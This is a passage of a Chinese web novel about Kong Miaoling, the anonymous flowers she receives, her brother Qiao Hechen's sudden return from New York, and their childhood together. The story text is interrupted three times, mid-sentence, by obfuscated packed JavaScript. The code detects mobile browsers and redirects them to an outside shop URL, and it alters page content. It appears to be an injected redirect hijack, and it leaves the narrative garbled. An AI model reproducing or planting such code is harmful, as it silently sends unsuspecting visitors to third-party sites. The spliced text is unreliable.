《蜜蜂膝盖银子弹》 1. 1杯银子弹 那是一捧千代兰,配送员几分钟前刚送来,紫粉色的花瓣上还缀着水珠,卡片夹在中间,一行字写得规整,“天冷,多穿衣”,简短的几个字,没有署名。 孔阿喵正对着它发呆。 这是近期的第六束了,香雪兰,银莲花,郁金香……一天一送,每天都不重样。阿喵照着卡片上的logo把电话打去花店,花店的人说订花的人没去店里,直接在电话里下的订单。阿喵问那人电话多少,花店的人为了保护客户隐私没给,阿喵说那人再下订单就麻烦帮忙拒绝,可隔天花还是照样送来。第三天再打去,让他们不要再给她送了,可有生意怎么会不做?花店的人说他们只管送,又建议阿喵自己想一想,既然知道她的电话和工作地址,那肯定是熟人。 是啊,熟人,可她问了一圈,都没找着这位熟人。 “妙零,吃饭去了!” 噢,对了,孔阿喵,大名孔妙零,只有特别亲近的人才知道她的小名。 妙零应了声,照着千代兰拍了照,起身和同事木木一块去公司食堂。 木木的工位在孔妙零身后,自然知道最近有神秘人士给她送花,不止木木,周边的同事都知道,也都知道妙零每天会给花店打电话拒绝,但花依然没断过。 送花这事儿发生在妙零身上在旁人看来并不奇怪,至少木木是见怪不怪了。妙零是公司里默认且公认的大美女,大美女当然不缺人追,刚入职没两天就三三两两有人过来和她搭讪,熟悉了后更是给她送这请那,她一般不会拒绝,只是过段时间又会找个体面的由头送回去,当然了,更多时候是她主动请别人。 大美女并不是清冷型,木木常常觉得自己身后杵着个小太阳,明媚,热情,和谁都相处得来,但大家私下里仍然给妙零安了个外号,铁壁女。虽然好相处,但想要跟她亲近起来需要花费一番时间,想要追她当女朋友就更没戏了,不过大美女嘛,防备心重完全可以理解。 像这次,有人想替她把那些花给插起来,干放着总有些浪费,可妙零没让,只放那儿不管,直到晚上负责清扫的阿姨给收走。 木木也好奇那位神秘人士到底是何许人也,帮着在公司里打听了一圈,不过毫无所获。 两人走在去食堂的路上,木木忽然拍拍脑袋:“会不会是你家里人呀?不是说最危险的地方也是最安全的地方么?那给你送花的说不定就是你最先排除的人呢。” 妙零愣了一愣,她家就四口人,妈并不会这么做,因为知道比起可以看的她更喜欢可以吃的,给她送花不如送点小零食,爸平常倒是会心血来潮搞些小浪漫,但他藏不住事,要真是他送的当天他就会给她各种暗示,生怕她第一时间猜不出来,而剩下那一个……就更不可能了。 妙零摇摇头,“应该不是。” “那到底会是谁呢?这人也是挺有毅力的。” 有毅力么? 妙零暂时不想琢磨了,拉着木木小跑起来:“烧豆腐烧豆腐,那个汤汁我可以下两碗米饭,再晚点要没了!” 吃饭是大事,再怎么也不能饿了肚子。妙零打了饭菜坐下来,木木和旁边同事聊八卦聊工作,她没怎么参与,埋头吃得专心致志。只要过了上班时间,她是一点都不愿意谈工作。 吾日三省吾身,孔阿喵每天省的是,人为什么要工作?工作为什么那么痛苦?我可以坚持到什么时候再辞职? 唉,答案是,做一天和尚撞一天钟,走一步瞧一步吧。 妙零大学读的国贸专业,铆足了劲考上的211,其实是学渣一枚。学渣不爱读书,考研什么的从没想过,一毕业就去做了外贸业务员,做了不到半个月,稀里糊涂拿下一笔两百万的单子,三个点的提成不多不少,她把爸妈带去人均三四千的餐厅,虽然味道和预期的相差甚远,却没影响一家人的好心情。 不过做外贸要能熬得住夜,妙零熬不住,刚转正就顶着两只熊猫眼提了离职,任主管怎么留也没回心转意。 第二份工作是做贸易合同管理,一个月万把块的工资足够她花,但她嫌工作内容单一,做满三个月就一门心思回家吃吃喝喝等着过年去了。年后换到一家私募,做金融市场分析,她想着这回再怎么也要坚持过半年,可惜她有这个决心,公司没有,三个月不到竟然倒了闭,她只好拿着半个月的赔偿金来了现在这家跨境电商。 入职第二个月,采购员小孔被采购经理借去当助理,一当就是半年。本着做好本职工作就行了的原则,孔助理在第一个季度被评为优秀员工,奖品拿了,薪酬也涨了。到第二个季度,她手里开发的供应商在数量上排不到部里第一,质量上却是无人出其右,谈判议价签合同,大大小小的展会也跑了不少,她为公司创造的价值可谓是有目共睹,这不,前两天经理又主动跟她提了要给她涨薪。 工资还没涨上,妙零已经盘算着这周要去试一试对面新出的阿拉伯菜。 心动就要行动,从食堂吃完饭回来,她立马给好朋友姜俞西发消息。姜俞西比她上进多了,读了研究生不说,都还没毕业呢,最近已经在忙着找实习了。妙零读书时就没上过班,实习报告上的章还是妈从朋友公司那儿盖来的,爸倒是提过一回实习的事,她就给爸讲道理,人生短短几十年,有一大半时间都要用来累死累活工作,那读书的时候就该珍惜时间好好玩呀,工作以后可就没那个机会了。于是爸被她说服了。 但姜俞西没有。 “不实习我的简历就没有竞争优势,没有优势就拿不到我的dreamoffer,拿不到我会不甘心,不甘心就干脆不工作,不工作你养我吗?” 妙零想了想自己卡里的存稿,养自己暂时还是绰绰有余,但养姜俞西是不行了,何况——一个人人羡慕的“信托基金宝宝”,这个年纪已经有房有车,房不止一套,车也不止一辆,姜俞西根本不需要她养,也根本不需要工作呀! 姜俞西仍旧没被说服:“那你也不需要呀,你家不是有的是人会赚钱?赚的还是美金!” 妙零盯着“美金”两个字看,迟疑地打着字。 “先不说了,我约了师兄谈实习的事,阿拉伯菜晚几天再陪我们阿喵吃哈。” 妙零打字的手停住,那就晚几天,好饭不怕晚嘛! 她刷了会儿论坛,点开最近在追的广播剧当午睡背景音,到点才开始对着电脑工作。 原本不算很忙,半下午经理临时让她去接个供应商,接了又送,一折腾到了晚上七点。 她打车回家,特意让司机停去小区南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283371|151945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门。南门离家更远,但有家零食店妙零常去,零食店门口的圣诞树还没撤走,上头原本缀了一串串五颜六色的灯,那灯很漂亮,零食店的老板索性搞起活动,买满多少就自己去门口提一串灯走,前两天树上还剩三串,今天已经没了。 妙零走近,想着今天的消费应该控制在多少才好,视线捕捉到对面一道侧影,心跳忽地漏了半拍。 那圣诞树旁……站着一个人。 高个子,正低头看手机,屏幕的光映在脸上,透出一个模糊的轮廓。 下一秒,他抬头看了过来。 妙零脚步止住,瞬间被钉在了原地。 棕色夹克,黑裤,松弛的站姿,以及那张再熟悉不过的脸。 她没有认错。 是乔贺沉。 是她哥没错。 可,他现在应该在纽约才对,怎么这个时候突然回了国? “吓傻了?”熟悉的声音传过来,乔贺沉已经收了手机,正远远看着她笑。 妙零迅速回过神,心还咚咚乱跳:“你也知道是吓!我还以为大晚上见鬼了呢!” “鬼长我这样?” “不长你这样那该长哪样?” “谁知道,我只见过爱吃鬼,喏,面前就有一只在晃悠。” “……我们爱吃鬼可不会像有些人搞这一套,每次都吓死个人。” 上回,上上回,乔贺沉都是不打招呼就飞回来,然后冷不丁按门铃出现在家门口,嘴上说着“surprise”,把一家人给吓一大跳。 妙零已经走近,视线落到乔贺沉里头那件卫衣上,忽然结巴了下:“你、你怎么会在这儿?” “跟爸打赌,猜你回家前是不是会绕路来这儿进货。” “……”妙零噎了下,视线再次在他卫衣上滑过,“我是问你怎么回来了……” “不能回?”乔贺沉手往兜里一揣,“要买什么?赶紧买了回去,爸妈在等吃饭,噢,帮我买盒酸奶。” 妙零没得到想要的答案,有些忿然:“自己买!” 她转身往店里去,门口拿了篮子,径直走到最常去的货架前,haribo,fruitgums,jellytots……各种牌子的软糖,她一包包往篮子里装,一边往门口瞟,乔贺沉站在收银台那儿,正跟老板聊天,不知说了句什么,把老板逗得哈哈大笑。 在外人面前,乔贺沉从小到大一直是“别人家的孩子”,要成绩有成绩,要长相有长相,讲文明懂礼貌,逢人见面总被夸,无论站着坐着都是一幅画,就是这样一个人,一到家就恢复了他的庐山真面目,站没站相,坐没坐相,歪歪斜斜,还爱指挥人,当然,他不会指挥爸妈,只会指挥她。 妙零又瞟了眼,乔贺沉正从冰柜里拿酸奶,棕色夹克随着他的动作稍稍收紧,卫衣帽子在身后扩出一个随性的形状。 卫衣。 灰色卫衣。 妙零收回视线,低下头,脸上隐隐烧了起来。 她刚才以为自己看错了。 但并没有。 灰色卫衣,连帽的灰色卫衣,基础款式,除了英文logo没有任何图案。 那次在车里,哥搂住她亲的时候穿的就是这一件。 2. 2杯银子弹 那已经是很久之前的事了,乔贺沉完全没有理由再穿这件卫衣。 想一想,估计是爸了,他回来没带什么衣服,爸随便从衣柜里给他找出来的也说不定。 那么,离过年还有一个多月,时间不前不后地,他几天前才说有事在忙,到底为了什么这时候突然回了国? 妙零的眉头蹙起又展开,展开又蹙起,夜里的小区黑魆魆,路灯显得不太够用,她在前头走得飞快,一边走一边回头催乔贺沉:“快点啦,不是说爸妈在等?” 隔会儿回头:“我也拎点吧。” 刚才在店里结账,乔贺沉理直气壮说“不想付”,她气得不行,哼哧哼哧付了钱,把东西全留给了他拎。 隔会儿又回头:“好饿好饿,你不饿吗?爸今晚做了什么好吃的?” 两人一前一后走了好一会儿,妙零正准备再走快点,身后传来乔贺沉的声音—— “孔妙零。” 妙零回头,乔贺沉停在了那儿:“走慢点,坐了好久飞机,有点累。” 妙零迈出去的脚步及时收回,始终扬起的声调落了下去:“噢。” 她站在原地,等乔贺沉跟上来才转身往前,步子明显放缓了。夜里冷,小区里没什么人,不知哪个亭子里传来小朋友的嬉闹声。 “干嘛不说话?”长久的沉默后,乔贺沉问。 “你不是也没说?” 乔贺沉比妙零高了大半个头,说话的时候眉间的发梢微微晃动,看着还有些湿,应该是才刚洗过澡,身上还有沐浴露的香味,妙零争辩的话止在舌尖,问:“噢,这次在家待多久啊?” 乔贺沉不答反问:“你想我待多久?” “我又不是你老板,说了又不算,不过爸妈肯定是希望你能多待几天。” “爸妈不应该更希望我待着不走了?” “……他们当然这样想了,每天都念着你,生怕你饿了冻了,”妙零微微垂着头,“你要是能待在家,爸妈就不用总操心,我也省了不少事儿呀,快递你拿,碗你洗,地你拖……” “本来也不是你在干的吧?” “谁说不是的?洗碗机洗不干净,扫地机器人有扫不到的地方,我当然要善后啦。你都不知道洗碗拖地有多累!” “嗯,既然这样,那我就待着不走好了。” 妙零猝然回头:“……哼,你要真不走就好了,爸都偷偷跟我说了,你一个月拿那么多工资,怎么舍得回来?” “那没办法,谁叫有人不想拿快递,不想洗碗拖地,我只好勉为其难牺牲一下。” 他仍是开玩笑的语气,但妙零直觉不对,她分得清他真开玩笑和假开玩笑时的区别。 脚下一顿,她问:“你、真不走啦?” 乔贺沉也停下,俯身凑到她面前,似乎要将她的表情探究个清楚:“你这到底是希望我走还是希望我不走?” “当然是不走了!”妙零往后退,“我、我是觉得太突然了嘛,不是说马上就要有个大项目要做?” “大项目哪有你重要?” 冷不丁又是一句玩笑话,妙零听见自己的心跳声正一下一下拍打着耳膜:“话说得比什么都好听,你不会是被老板炒鱿鱼了吧?” “你什么时候见过这种事发生在我身上?” 他就是不正面回答,跟她兜着圈子,妙零隐隐有些怒了:“那到底为什么要回来嘛?!” 好像她越生气,乔贺沉就越高兴,他笑着说:“动动你的小脑袋瓜,就一点都猜不到?” 妙零愣了愣:“那、那也不是一点都猜不到咯。” 应该说,完全可以猜得到。 乔贺沉一直是外人眼中的大孝子,事实上从某种程度上来说,他确实是,所以他回国当然是为了爸妈。 爸妈虽支持他在国外工作,但纽约到底不比家里安全,他那学校三不五时就要发生袭击事件,他不会跟家里讲,但爸妈会看新闻,因为放心不下,爸甚至都学会了翻墙跑去关注当地新闻账号,一关注不得了,没有哪天是不发生凶杀案的,这下觉也睡不好了,想打电话还要考虑时差,何况电话也不能天天打,毕竟也是二十五六的人了,有自己的事要忙。再何况,这个儿子虽然在家里一直都有几分无法无天混世魔王的潜质,小事上让人操心不断,但大事上向来拎得清——虽然也是常常一声不吭就把大事儿给办了,可总归到哪儿都能把自己安排得好好的,没必要过分担心。 乔贺沉对爸妈的心思一清二楚,电话里常常说想爸妈做的饭菜,说上下班太堵,开车都没走路快,说昨天又补了一笔税,穷得快揭不开锅了,说过两天要去听相声,国内几十块就能靠墙根听一场,在那儿一张票就要三百多刀…… 他从没明确说过要回来,但抱怨里似乎都透露着,他早晚都会回国。 何况…… 妙零揪着手里的袋子,又越走越快了。 总之,不管怎么说,乔贺沉回来的理由都极其充分。 而无论他是为了什么回来,爸妈都会很高兴。 也怪不得,往常只要她晚回家,爸总要三不五时在群里问一声,今天却问得不那么勤,她说快到家,爸的回复也不似往常那样热情,甚至有一丝丝不易察觉的冷淡,她还觉得奇怪。 现在她不奇怪了,因为乔贺沉回家了,他一回家,以爸的性子,肯定忍不住要打来电话暗示她,但妈多半要拦他,之所以要拦,大约是想保持住那份惊喜。 果然,两人到了家门口,妙零刚敲门,门就从里头打开了,乔林满面红光地从里面迎出来:“我们阿喵可回来了!被你哥吓着了吧!” 他一面说话,一面接过妙零手里的包和围巾,妙零脱着外套:“还说呢,我还以为见鬼——” 她的话停在半截,视线落去对面,乔贺沉也正脱外套,转过身去挂衣服,露出卫衣背面上的图案。 是个蓝色印花。 原来是有图案的,并不是她印象里的那件。 也对,他这几年还长高了些,原来的衣服肯定都穿不下了。他原本也就很爱穿灰色系的衣服。 还是那句话,他完全没有理由再穿那件卫衣。 是她搞错了。 “——了呢。” 妙零及时把话接上,见乔贺沉朝她伸手,她愣了愣,乔贺沉往她手里的衣服一示意,她才反应过来,把衣服递给他,见他把她的外套搭在他自己的上头,她垂下眸子,跟着乔林一块往里走。 桌上饭菜已经摆好了,孔韵怜先给兄妹俩各打了一碗热乎乎的汤,妙零直呼饿坏了,呼噜呼噜把汤喝完,又打来一大碗饭,脸就差埋碗里了,不一会儿就吃得七七八八,桌上的对话也听得七七八八。 她们一家是这样,一般来说,什么事都会等人齐了再讲——得知乔贺沉已经把美国那边的工作辞了,乔林很是惊讶——孔韵怜之所以很镇定,是因为乔贺沉回来后单独给她透露过了,为此乔林很不满,“等阿喵回来我得告诉她,我被排挤了”,可知道事情后又忘了不满。 “那就不再去美国了?”乔林想笑又忍着不笑的样子,看着有点好笑。 “嗯。”乔贺沉应得随意。 “怎么突然就改变想法了?” “也不是突然,上次回来就觉得还是在家好。” “可不是家里好么,”乔林肉眼可见地乐开了怀,“前两天我们还说呢,这几年你在家住的日子都数得过来,上回是三月份,再上回就是前年你研究生毕业典礼了,回来就住了一晚,一晚!你妈都给你算了,你大三生日一过,在家住的日子是真数得出来!阿喵,你告诉你哥,是多少个数儿!” 妙零差点咬到舌头:“我、我给忘了!” 她不去管看过来的几道视线,低下头继续扒饭,乔林自己乐呵呵揭晓了数字,孔韵怜则说:“住得少也是情有可原,大三课多,大四又忙着准备出国和毕业,出了国又念书又工作,回来就更不方便了。现在趁机会你多休息一段时间,你看你脸上都没什么肉,这阵子要给你好好补补。” “都在家了,上着班也能补。”乔贺沉看一眼还埋着头的孔妙零,“这里不就有例子么?” 孔妙零闻言抬头,乔林先替她抱不平了:“阿喵这才哪到哪?你们都还得补,我正研究食谱呢,保你们天天吃不重样的!”又问:“那你这意思是马上就要上班啦?一天都不歇的?” “有几家在接触,这两天会先去公司看看。” “也不用太急了,”乔林说着顿了顿,有些小心翼翼了,“但有的事嘛,可以急一急,那个,你看看是不是,可以把云桑介绍给我们认识认识了?” 孔妙零停下扒饭的筷子,飞快附和道:“就是就是!我们都还没见过那个姐姐呢!” 乔贺沉冲她嗤笑一声:“你都不知道人家几岁,就喊人家姐姐?” “不是你同学嘛……” “同学也有比我小的,”他停了停才正色说,“她比我小一岁,比你大一岁。” 妙零哼哼:“那不就是姐姐了?” “是喊姐姐,现在可不就是喊姐姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“明天再说嘛!他都不走了!不用急啦!”妙零跑到一半,又跑回来喝一口汤,说:“我这个更急!” 她踩着点上了游戏,不是跟姜俞西一起,姜俞西压根没时间打游戏。她紧张兮兮排完,又爬起来做了会儿PPT,往常她应付应付就过去了,今天倒做得格外认真。 房间隔音好,她不怎么听得到客厅的声音,PPT差不多快做完,房间门被敲响了。 她当即合上电脑,麻利躺上床,朝外喊:“干嘛?要睡了!” 见进来的是孔韵怜,她又爬起来,差点忘了今天还没喝热牛奶,她忘喝的时候妈都会给送来房间。 她大口吞下去,问:“哥睡啦?” “还聊着天呢。”孔韵怜凑近了看女儿,“眼睛怎么红红的?” “看手机久了,刚滴了眼药水。” “那早点睡,别躲被窝里看手机了,明天还不舒服要跟我说。” 她嘴上还沾着牛奶汁,捧着孔韵怜的脸就大声啵了一口,被孔韵怜嫌弃地推开了。 孔韵怜帮她关了灯,她又把床头灯给关了。黑暗里好一会儿没有动静,隔会儿又出现一点亮光,妙零点开了手机,她将屏幕往下划,从底下找出对话框。 她和乔贺沉有阵子没发消息了,最近一次对话是在一个月前,他寄回来几个快递,提醒她去拿,往回翻,连着几次都是类似的事,不然就是转账,附带一两句节日或生日祝福,其他闲聊几乎没有。 大多数时候他会把视频电话打到妈那里,以前打得就很勤,但近半年里尤其,无论有事没事,隔上一两天就会聊上一会儿。通常是在家里吃晚饭的时候,纽约那边正好是早起时间,他不是顶着一头乱发窝在被子里,就是穿着睡衣在吃早餐,偶尔突然兴起换上衣服去逛超市。超市里有卖一款希腊酸奶,他觉得味道奇怪,但去了必买,在外头找个地方坐下,让电话这头的三个人看他皱着脸喝完。喝完总会说,喂孔妙零,只有你会爱喝这么浓的东西,然后一脸嫌弃咕咚咕咚灌下几大口水。 也只有这种爸妈都在的时候,两人才会像以前那样斗斗嘴,开上几句玩笑。 私底下其实没什么话可说了,也没有什么非说不可的必要。 妙零很快关了手机,闭上眼睡了。 第二天一早起来,爸已经准备好早餐,要她去喊她哥起床。 她站到那扇门前,上面还挂着以前乔贺沉写的“孔妙零免进,爸妈请敲门”提示,还有她涂改过的痕迹,最后被他用一幅画给盖过了。 她伸手敲门。 咚咚—— 3. 1杯蜜蜂膝盖 咚咚—— 咚咚—— 咚咚! 乔贺沉敲了几次门,耐心用光了,开始改用拍,他拍门的力度像是要把孔妙零房间的门给掀了。 “孔妙零,牛仔裤还我。” 门内还是没有声音。 “孔妙零!” 乔贺沉的声音不高,从旁边经过的乔林侧目回头,说哆嗦有点夸张了,但每次两个小孩因为鸡毛蒜皮的小事把家里搞得天翻地覆的时候,当妈的孔韵怜能做到八风不动,就算俩小孩在眼皮子底下大打枕头架,她一个瑜伽动作也不会受半点影响,但他这个当爸的就不行了,那枕头“噗噗噗”打来打去,每打一下,他太阳穴就要跟着猛跳一下,真怕这俩孩子打出什么问题来。 不过,天底下的兄妹大抵都如此,上一秒亲人,下一秒仇人,不打打闹闹反倒显得不够亲近了。 孔妙零和乔贺沉,如果要找一样东西来形容兄妹俩的关系,那再没有比一张狗皮膏药更贴切的了。这张狗皮膏药在两人身上来回贴,谁贴上了,就爱黏上另一个。 小时候,哥哥疼妹妹,四五岁就要跟爸妈抢着给妹妹扎头发穿鞋子,俨然一个小大人。小大人是个很挑的家伙,什么都要最好的,自己的要最好,妹妹的就要更好,衣服但凡摸起来不够舒软,裁剪不够精细,哪怕有根小线头,也要给妹妹换了。哥哥还爱跟妹妹穿兄妹装,长得不比餐桌高的时候就研究起穿搭,一样东西买两份,大的给自己,小的给妹妹。托哥哥的福,兄妹俩的合照摆在家里,每逢有客人来,都要拿起来多看两眼,回头就给自家小孩学着穿起来,还要跟当爸妈的说两句好话,你家这两个小孩长得真是够俊,比电视机里的明星还要周正呢。 这时候兄妹俩都贴着膏药,到哪儿都形影不离,谁离了谁超过十分钟就要管爸妈要人,“妹妹呢?妹妹怎么不在?”“哥哥,哥哥,哥哥在哪儿!” 变化发生在妹妹上小学,或者更早,上幼儿园大班的时候,妹妹长得太可爱,很讨小朋友们喜欢,小女孩小男孩都爱跟她玩。哥哥就闹脾气了,见不得妹妹跟别人好,可嘴上不说,自己闷头在房间里把玩具全拆了,妹妹的舍不得拆,单拆自己的,边拆边倔强地抹泪。这个年纪已经听得进道理,可听爸妈讲完还是掉眼泪,等到妹妹过来,短短的胳膊把哥哥肩膀一圈,说,哥哥你的眼睛不要流口水了,这话刚把爸妈哥哥逗笑,自己就悲伤地让眼睛流起口水来了。没办法,哥哥一哭,妹妹也习惯跟着哭。 后来三年级的孔妙零在作文里写,眼睛想要吃什么吃不到,就会馋得流口水。 没错,孔妙零是个吃货,小学几年里吃到比班上所有同学都要沉,小胖子的人气倒是不减当年,可也有一两个说话不那么好听的,在背后给小胖子起外号,不巧,被楼上高年级的乔贺沉听见了,没多久,操场上就有三四个人卷着沙子扭打在了一起。 从小被教育不能打架的乔贺沉,在六年级的时候第一次跟人打架了。 这事儿家里十分重视,爸妈轮番着给进行思想教育,除非正当防卫,暴力是决不允许的,你再有不满,不还有其他解决方式么! 乔贺沉也后悔了,可嘴上还有不甘,问都有什么解决方法,爸妈给的答案他不太满意,觉得过于书面,实际用起来并不怎么奏效,不过隔天他妹妹孔妙零给了个让他耳目一新的解法。 孔妙零第二天穿一件白T,课间操的时候她把校服外套一脱,T恤背上是一行醒目的字:请夸我胖,我好爱听! 小胖子一举再成名,这一事迹还被当做典范在每个班级里宣传,学生里备受震撼的有,嗤之以鼻的也有。嗤之以鼻的是乔贺沉,他看到他妹那笔字就冷哼,他是上了写字班的,软笔硬笔都学了,顺道还学了几笔画,他的字也被当做典范,印出来在学校里流传,学生里备受震撼的有,嗤之以鼻的也有。嗤之以鼻的是孔妙零,她是不上写字班的,软笔硬笔都凭自己来,工整的字在她看来并不美,按自己想法写出来的字才最好看,爸妈对着她那笔八脚爬楼的字实在夸不出来,但也随她去,她想怎么着就怎么着。 不过老师阅卷的时候就不爱惯着她了,字难看的,分数也给不了太高。于是学渣孔妙零在小升初之前的三个月里,都还在含泪临摹她哥的字。 这时期兄妹俩身上都没贴着狗皮膏药,诚如爸妈说的,暴力决不允许,家里头打打闹闹也要适度,凡事安全第一——兄妹俩的枕头大战就是从这时候开始的,都有了各自的朋友圈,兴趣爱好不同,看法不同,他嫌弃她,她更嫌弃他,两人三天一小吵,五天一大吵,严重的时候一星期互不搭理。 到初中,孔妙零小胖子倒不如小学那样洒脱,到底受其他人眼光影响,她开始控制饮食,吃得不如从前多了,加上在长身体,只一年时间就瘦了回去。原来她受欢迎,性格占很大原因,现在受欢迎,尤其受那些正值耍帅装酷的同龄小男生欢迎,是因为长得好。 不过孔妙零对这群男生没兴趣,听到他们讨论班上女生高矮胖瘦的,也照例怼回去,她的怼不需要花费太多力气,只要开口说话,就总有愿意听她的。 她感兴趣的是高年级的学生,高年级指隔壁一栋的高中生,她那会儿崇拜她哥班上一个女生,成绩好,会唱歌,说一口流利的英文,头发高高扎起来,就算校服裤腿没改小,看上去也贼有精气神,一开口更是春风入怀,孔妙零觉得这样子说不上来的好。 同样好的,还有她哥。她哥的光环远不是她那些同学比得上的,不用功也考第一名,篮球场上轻轻一跳就能摸到篮筐,每次出现在人群里,身边都有那几个玩得很铁的朋友,而他在里面又那样突出。校草的脸想不突出也是难的,一身校服也穿得最有样子,他人从身边经过,女生总要偷看两眼,男生假装无所谓,最终也忍不住要瞥上一眼。 那种高年级学生才有的特质,是孔妙零想象出来的,她百分百赋予给她哥,也百分百崇拜她哥。换句话说,孔妙零爱虚荣了,有个处处比自己班上同学成熟,还受各年级女生喜欢的哥,她觉得很有面儿。 于是,孔妙零这个阶段又把狗皮膏药给贴上了。 当然,面子归面子,她对她哥的崇拜是打从心底里发出来的,觉得她哥贼厉害,在杂志上看再多的花美男,也还是一心一意认为她哥最好看最顺眼。她比小时候蜜里调油那会儿还要更依赖他:不及格的卷子要家长签名,找乔贺沉;想打耳洞,要乔贺沉陪着一起;运动会跑步扭伤了脚,要等到乔贺沉一脸担心从隔壁跳高区跑过来,她才肯去医务室;买东西前习惯先问他意见,他觉得哪个好,她就买哪个。总之,什么都要跟他一起,什么都要跟他一样。 而乔贺沉呢,高一的男生,也有点爱面子的,上了高中好像一下子就长大了,跟小时候的责任感不同,现在他对妹妹的责任多了一种表演感,说那是假的也不对,百分百真,可就是想要表演给身边朋友看。不过也不会做得太明显,偶尔在学校碰见了,乔贺沉会往孔妙零卫衣帽子里放点吃的,她爱吃嘛……这时候她总要“哎呀”一声,她的好朋友姜俞西就会帮她把吃的从帽子里掏出来,东西往往不止一人份,好让她分给同学。有时候跟她说话,会照顾她的身高,把头低下来,挨近她,说的也都是小事,但在姜俞西她们眼里,就变成了这样一副带着青春校园气息的场景:乔贺沉这个对谁都不待见的冰山校草,唯独会对自己的妹妹露出宠溺的笑容——即便乔贺沉那会儿还没变成冰山,即便乔贺沉常常跟身边的朋友谈笑风生,但为了贴合那时候流行的小说男主角,这些细节统统可以被篡改。 无论如何,孔妙零的朋友们羡慕她有个这么好的哥哥,转而纷纷嫌弃起自己家里的哥哥弟弟,而乔贺沉的朋友们都在说,乔贺沉是个十足十的妹控,什么事都以妹妹为先,这让他们很有压力。 可是某一天开始,大概是孔妙零升上初三的那个秋天,乔贺沉忽然就毫无征兆地把那张狗皮膏药撕掉了,撕掉的同时,也不允许孔妙零贴上来。 枕头大战不再继续,升级转型为了乔贺沉单方面的冷战。 孔妙零觉得自己被嫌弃了,时不时在饭桌上跟爸妈控诉:哥在学校装不认识我,我们体育课不是一起上嘛,今天喊他他都不理我,害我好没面子!抑或是,我跑接力他都不给我加油!又或者,他今天出去吃汉堡都没给我打包一份! 如此种种,都是乔贺沉冷落孔妙零的罪证,就连在家里也不怎么跟她说话了,一开口就免不了拌嘴,语气实在算不得多好。 乔林私下里安慰女儿:“你哥他叛逆期呢,叛逆期的男孩子都那副鬼样儿,拽得二五八万似的,你看他对我也没个好脸色,咱们不跟他一般见识,随他讨人嫌去!” 这头安慰完,转头乔林就又去了儿子的房间,确切地说,没进得了门,只被允许站在门口,说出去的话也不知他有没有听进去,要他端正态度,尤其对妹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14283373|151945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妹,这会儿她也在敏感期呢,你起码得拿出个哥哥的样儿,互相尊重知道的? 乔贺沉不耐烦:“知道,说完了?说完我写作业去了。” 乔林心想你真写作业就见了鬼了,听里头声音,这是又在打游戏呢,话说现在的孩子都流行网恋,尤其流行在游戏里认对象,自家儿子他还是放心的,不至于被骗钱,可不骗钱还有骗其他的!他从上到下打量一遍儿子,衣服穿得够严实,应该还是很有自我保护意识的。虽然如此,以后还是要多多搞突击,这个年纪的男孩,该做的教育都做了,可正是这个年纪,自制力差,说不准哪个时候心思一歪,是要酿成大错的。 乔林这么一番心理,全被乔贺沉看在了眼里,乔贺沉只觉他爸无聊,有这个时间不如去盯盯对面孔妙零的作业写完没,她这个鬼成绩,要想继续留校念高中,还得脱几层皮复习才行。 他把门一关,坐回电脑前继续游戏,刚戴上耳机,小窗口就跳了起来。孔妙零作业不写,还敢偷偷上游戏,还跑来要他陪练,他直接把窗口叉了。 他连打两盘,到底退出账号,把孔妙零那个要啥啥没有的号给登上了,她不知道什么时候这么虚荣了,一个游戏而已,也要跟别人攀比。 要说虚荣,乔贺沉也不遑多让,就看现在,他起来没找着自己那条用来搭配毛衣的牛仔裤,不需要多思考,也知道又是被孔妙零悄没生息给顺走了。 孔妙零自己一柜子衣服偏不穿,喜欢顺她哥的,毛衣顺,外套顺,领带顺,裤子也顺,就觉得她哥的要比她自己的好。 这会儿她在床上装死人,原因有三,不想还她哥的牛仔裤,不想起床去学校,还因为她胸疼。 她最近又长高了,衣服全小了一号,新订的校服还没来,她穿她哥以前初中穿剩下的,改过了还是有点大。女生校服是红色,她一个人穿蓝色,混在里面格外打眼。在班里,班里的男生要看她,出了班级,别班的别栋的,也都要往她身上看。甚至有时候特意跑来她们班门口,就为了看她一眼,她很不喜欢,这种时候姜俞西往往会把她往身后一挡,像只护食的小鸡,叉着腰把人骂走。 孔妙零跟姜俞西的成绩在班里一头一尾,位置也一头一尾,姜俞西近视,又不爱戴眼镜,坐前排。她是班上出名的潮人,总能第一时间把流行穿在身上。她的那副眼镜是用来在外面研究别人穿搭的,别人就包括了高二年级的大红人乔贺沉,他那条看起来平平无奇的牛仔裤她一眼就看中了,跟好朋友孔妙零要来牌子,买了一条,两人今天相约穿一样的,孔妙零没买,也不需要买,反正她哥有。 她哥在外面又敲了两下门,她翻个身,总算出声了:“进!” 乔贺沉推门进来,脸上结的一层冰霜立马被里头的暖气给融化了,脸却还是冷的,丢出两个字:“裤子。” 孔妙零不动,也丢出去两个字:“毛衣。” 她的毛衣放在飘窗上,她不想起来拿,习惯性指挥乔贺沉。 乔贺沉面无表情给她拿了,丢在被面上。 